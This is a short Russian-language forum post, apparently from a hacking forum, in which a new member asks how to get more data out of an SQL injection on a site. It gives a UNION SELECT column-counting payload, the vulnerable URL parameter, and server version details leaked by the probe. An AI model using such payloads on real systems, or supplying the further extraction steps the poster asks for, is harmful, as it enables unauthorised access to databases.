|
Новичок
Регистрация: 22.08.2009
Сообщений: 7
Провел на форуме: 23465
Репутация:
1
|
|
Помогите с SQL-Inj, пожалуйста.
Подобрал кол-во столбцов, запросом
1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
Узнал данные о сервере
PHP Version 5.2.10
System FreeBSD fe61.hc.ru 6.2-RELEASE-p3 FreeBSD 6.2-RELEASE-p3 #2: Thu Apr 12 13:46:06 MSD 2007 root@fe25.hw.ru:/usr/obj/usr/src/sys/XEON i386
Mysql Client API version 4.1.22
Apache/1.3.34 (Unix)
Нашел багу:
site.ru/index.php?id=1'
Выдаёт
Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in ****
Что еще можно вытянуть? и как? Подскажите, плз
|